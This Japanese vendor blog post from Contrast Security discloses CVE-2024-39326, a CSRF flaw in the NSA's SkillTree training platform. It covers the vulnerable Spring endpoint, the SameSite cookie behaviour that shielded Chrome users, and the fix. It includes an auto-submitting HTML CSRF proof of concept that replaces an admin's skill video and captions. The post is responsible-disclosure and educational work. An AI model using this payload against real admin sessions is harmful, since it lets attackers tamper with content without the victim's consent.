Skip to content

ContrastがNSAのトレーニングプラットフォーム「SkillTree」でCSRFの脆弱性を発見

    
ContrastがNSAのトレーニングプラットフォーム「SkillTree」でCSRFの脆弱性を発見

Contrast Security Assess —  Contrast Security社のインタラクティブ・アプリケーションセキュリティ・テスト(IAST)テクノロジ によって、アメリカ国家安全保障局(NSA)がGitHub上で管理するトレーニングプラットフォーム「SkillTree」で脆弱性が明らかになった。

なぜこれが重要なのか:近年、悪意のある攻撃者がマルウェアをホストするために、オープンソース開発プラットフォームのGitHubを利用するケースが増加していることが、サイバーセキュリティ研究者によって指摘されているからだ。

GitHubなどのDevOpsエコシステム用のバックアップ・リカバリソフトウェアである「GitProtect」は、GitHub関連のインシデントや脅威のリストを定期的に更新・公開している。その一例として、2023年7月にGitHubの顧客を狙ったサイバー攻撃がある。開発者になりすました攻撃者がGitHubアカウントを作成し、GitHubのコードリポジトリで共同作業するよう被害者を誘導した。そのリポジトリには、被害者のデータをマルウェアに感染させる悪意のあるnpmパッケージが含まれていた。 

ContrastがGitHubの標的型攻撃に対抗

このようなGitHubを狙った攻撃が増加する中、Contrast Securityは「AutoAssess」と呼ばれる新たなプロジェクトに取り組んでいる。このプロジェクトでは、Contrast Security Assessを人気のGitHubリポジトリに組み込み、潜在的なセキュリティ脆弱性を自動的に発見することを目指している。

最近、このAutoAssessプロジェクトによって、NSA(アメリカ国家安全保障局)が管理する「SkillTree」にクロスサイトリクエストフォージェリ(CSRF)の脆弱性が発見された。SkillTreeは、ゲーミフィケーションを取り入れたマイクロラーニングプラットフォームで、多くの企業で実施されているデータプライバシートレーニングのような動画教材にも対応している。

この脆弱性によって、攻撃者がSkillTreeのスキルサービスにログインしている管理者を標的とし、スキルに関連する動画、キャプション、テキストを改ざんできる可能性がある。この脆弱性は、Contrast Assessによって発見された後、CVE-2024-39326として登録され、深刻度は「Medium(中)」と判定された。

 Contrast Securityは、このCSRFを6月12日に発見して、SkillTreeの保守担当に伝えた。7月2日時点で、同社はパッチを適用したバージョン(skills-serviceパッケージバージョン2.12.6)を完成させ、公開している。


SkillTreeにおけるCSRF脆弱性の解析結果

真陽性:CSRF

今回の脆弱性は、SkillTreeアプリケーションにCSRF対策が実装されていなかったために発生した。 

ほとんどのエンドポイントはapplication/jsonというMIMEタイプを使用しており、Same-Origin Policy (SOP)によってCSRF攻撃の影響は受けない。application/jsonは、通常AJAXを用いて送信され、異なるオリジンからのリクエストを制限するSOPによってCSRF攻撃を防ぐことができる。SOPは、Webブラウザが第一のWebページに含まれるスクリプトから第二のWebページのデータへのアクセスを許可するかどうかを、両者のオリジンが同一であるかどうかで判断するセキュリティポリシーである。

CSRF対策必読:OWASPのCSRF Prevention Cheat Sheet

しかし、一部のエンドポイントでは、脆弱なコンテンツタイプが使用されており、CSRF攻撃に対して脆弱であることが判明している。Contrast Securityの統合テストでは、50ページに及ぶ状態変更操作において、CSRF対策として有効なトランザクショントークンが使用されていないことが確認されている。

CSRF攻撃による被害シナリオ(SkillTreeの脆弱性において、CSRF攻撃が成立するためには、以下の3つの条件が必要):

  • CSRF可能なリクエスト: HTTPメソッドとコンテンツタイプがCSRF攻撃に利用可能なものであること
  • CSRF対策の欠如: CSRFトークンのような対策が実装されていないこと
  • 状態変更のリクエスト: データベースの変更など、アプリケーションの状態を変更するリクエストであること

CSRF攻撃の解析

フラグが立ったエンドポイントの1つは次のとおり:

/admin/projects/{projectname}/skills/{skillname}/video

このエンドポイントは、管理者が動画ファイルをアップロードしたり、動画へのリンクをアップロードできるようにするマルチパートファイルを受けとる。アップロードされた動画は、ユーザが視聴するためのタスクとして、動画ののトランスクリプトや字幕とともに提供される。

@RequestMapping(value = "/projects/{projectId}/skills/{skillId}/video", method = [RequestMethod.POST, RequestMethod.PUT], produces = MediaType.APPLICATION_JSON_VALUE)

@ResponseBody

SkillVideoAttrs saveSkillVideoAttrs(@PathVariable("projectId") String projectId,

    @PathVariable("skillId") String skillId,

    @RequestParam(name = "file", required = false) MultipartFile file,

    @RequestParam(name = "videoUrl", required = false) String videoUrl,

    @RequestParam(name = "isAlreadyHosted", required = false, defaultValue = "false") Boolean isAlreadyHosted,

    @RequestParam(name = "captions", required = false) String captions,

    @RequestParam(name = "transcript", required = false) String transcript) {

    ...

}

  1. Webアプリケーションの侵入テストツールであるBurpで生成した次のHTML/JS CSRF攻撃を使用する:

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="http://localhost:8080/admin/projects/testproject1/skills/testSkill/video" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="videoUrl" value="https&#58;&#47;&#47;github&#46;com&#47;ShatteredDisk&#47;rickroll&#47;raw&#47;master&#47;rickroll&#46;mp4" />

      <input type="hidden" name="captions" value="WEBVTT&#13;&#10;&#13;&#10;1&#13;&#10;00&#58;00&#58;00&#46;500&#32;&#45;&#45;&gt;&#32;00&#58;01&#58;00&#46;000&#13;&#10;CSRF&#32;is&#32;still&#32;an&#32;issue&#32;&#40;&#32;unless&#32;you&#32;use&#32;chrome&#32;&#41;&#33;" />

      <input type="hidden" name="transcript" value="CSRF&#32;is&#32;still&#32;an&#32;issue&#32;&#40;&#32;unless&#32;you&#32;use&#32;chrome&#32;&#41;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      history.pushState('', '', '/');

      document.forms[0].submit();

    </script>

  </body>

</html>

管理権限でログインしているユーザに上記のHTMLを表示させることで、skillを改ざんして動画をアップロードさせることができる。

 動画の元の設定:

元のサンプル動画:

  1. 管理者としてログインした状態で、CSRFペイロードが含まれるWebページにアクセスする。

  1. すると、動画とキャプションが改ざんされる。

  1. この結果、攻撃者はコンテンツを改ざんできるようになる。CSRFによって可能になった想定外のコンテンツすり替えの典型的な例:

 

CSRF脆弱性は修正済み 

この脆弱性は、SkillTreeのバージョン2.12.16で修正されている。この修正では、Spring SecurityのCSRF Protectionを使用して、CSRFトークンパターンに従ってCSRF攻撃をブロックし、この脆弱性を適切に緩和する。

ChromeのSame-Site Cookie属性によるCSRF対策

2016年にChromeで導入されて以来、主要ブラウザでサポートされているSame-Site Cookie属性は、Cookieがクロスサイトで送信されるタイミングを制御することで、CSRF攻撃の緩和に役立つ。Same-Siteオプションには、以下の3つの設定がある:

StrictクロスサイトリクエストでCookieが送信されないようにブロックする。銀行ポータルなど、外部サイトへのリンクが不要なセキュリティ重視のサイトに適している。一方で、正当なクロスサイトリンクによって保護された領域にログインするサイトでは、機能が損なわれる可能性がある。

Lax(デフォルト設定):サードパーティサイトからのトップレベルナビゲーション(例:リンククリック)ではCookieの送信を許可するが、POSTリクエストなどサーバの状態を変更する可能性のあるリクエストではブロックする。この設定では、セキュリティとユーザエクスペリエンスのバランスが取れる。

NoneブラウザはSame-Site属性を無視し、送信元に関係なくすべてのリクエストでCookieを送信する。ただし、安全性を確保するためには、この設定ではCookieに「Secure」属性を付与し、HTTPS経由でのみ送信する必要がある。

ケーススタディ:SkillTreeアプリケーションにおける挙動

SkillTreeアプリケーションでは、セッションCookieに対してSame-Siteフラグが明示的に設定されていなかった。しかし、Chromeユーザは今回のCSRF攻撃による影響を受けなかった。これは、Chrome 80(2020年2月)以降、Same-Siteフラグが設定されていないCookieを「Lax」設定として扱うようになったためだ。このため、悪意のあるクロスサイトリクエストではセッションCookieが送信されず、SkillTreeアプリケーション側でリクエストが拒否されたため、攻撃は成功しなかった。

PoCの制限

スキルとプロジェクト名が必要

今回のCSRF攻撃の概念実証(PoC)において、攻撃者はスキルとプロジェクトの名前を知る必要がある。しかし、これらの情報はスキルサービスシステムのURLの一部として表示されるため、システムの利用者であれば誰でも知ることができまる。つまり、SkillTreeを利用しているユーザであれば、攻撃に必要な情報を入手することは容易であり、攻撃の実行可能性を高める要因となっている。

脆弱性の発見は恥ではない

Contrast SecurityのCTOで共同創業者のJeff Williamsは、今回のNSAの件について、非難されるものではないと述べている。誰もが完璧ではなく、脆弱性が見つかるのは当然のことであると彼は指摘している。Jeffは「健全なセキュリティとは、脆弱性を見つけ出し、修正することです。これは失敗談ではなく、優れたツール(Contrast)を活用し、問題を迅速に解決した成功談です。脆弱性があることは恥ずべきことではありません。本当に恥ずべきなのは、基本的な対策を怠り、セキュリティ問題の議論を封じ込め、国民に情報を隠蔽することです。」と述べている。この言葉は、セキュリティ対策において重要な教訓を示している。脆弱性が見つかることは避けられない現実であり、それを隠蔽したり、無視したりするのではなく、積極的に発見し、修正していくことが重要である。

ゼロデイ攻撃をなくす 

CSRF 攻撃は、悪意のあるWebサイト、メール、ブログ、インスタントメッセージ、またはプログラムが、認証されたユーザのWebブラウザを騙して、信頼できるサイト上で望ましくない操作を実行させる攻撃である。標的となるユーザがサイトに認証されている場合、保護されていない攻撃対象サイトでは、正当な承認がされているリクエストと偽造された認証リクエストを区別できない。

CSRFの脆弱性は軽視され、コードが本番環境にリリースされる前に修正されないことがよくある。開発者やアプリケーションセキュリティ(AppSec)担当は、機密データの漏洩につながるような、より高度な攻撃に焦点を当てる。その結果CSRFの脆弱性は修正されず、悪意のある攻撃者に攻撃の機会を与えてしまう。

これは、CSRFアプリケーション攻撃が成功した場合、状態の変化のみが起こり、ユーザデータが危険にさらされることはないためである。しかし、ユーザの個人データが無事であっても、個人情報(PII)やパスワード、さらには金銭までもが依然として危険にさらされている。

Contrastのランタイムセキュリティプラットフォーム使用することで、開発担当はすべてのコードを保護することができる。このプラットフォームでは、継続的に脆弱性を検出し、優先順位を付け、リスクへの対策方法が提示される。これらはすべてにおいて、業界をリードする精度、効率性、スケーラビリティ、カバレッジで実現する。

自動化され、インストルメント化されたセキュリティが、アプリケーションの根本的な脆弱性を検出する。つまり、今回のCSRFのようなアプリケーションの脆弱性がCVEとして公開されたり重大なインシデントになる前に、Contrastが次の脆弱性を発見するということだ。

Contrast Assessでアプリケーションを検査するということは、Contrastが「secure from within(内側から守る)」と呼ぶものの最初のステップに過ぎない。Contrastのランタイムセキュリティプラットフォームは、コード内の脆弱性を検出するだけではない。当社のテクノロジで、本番稼働中のWebアプリケーションに対する攻撃をブロックすることで問題の発生を防ぐこともできる。

これは、実行時にコードがロードされるコードをインストルメント化することで、開発者による誤用や攻撃者による悪用に対してアプリケーションを安全にする。これが、アプリケーションを「secure from within(内側から守る)」ということだ。Contrastのプラットフォームは、脆弱性の検出と、攻撃のブロックの両方を可能にするのだ。

関連記事/サイト:

お問い合わせ

Joseph Beeton, Senior Application Security Researcher, Contrast Security

Joseph Beeton is a Senior Security Researcher for Contrast Security and a recovering Java Developer. He started his career as a Java developer writing archive/backup software before moving to a large financial company working on web applications and backend APIs. However, after a while, writing yet another microservice isn't that much fun anymore. Breaking them was, though. Thus, he moved to Application Security and from there on to Research.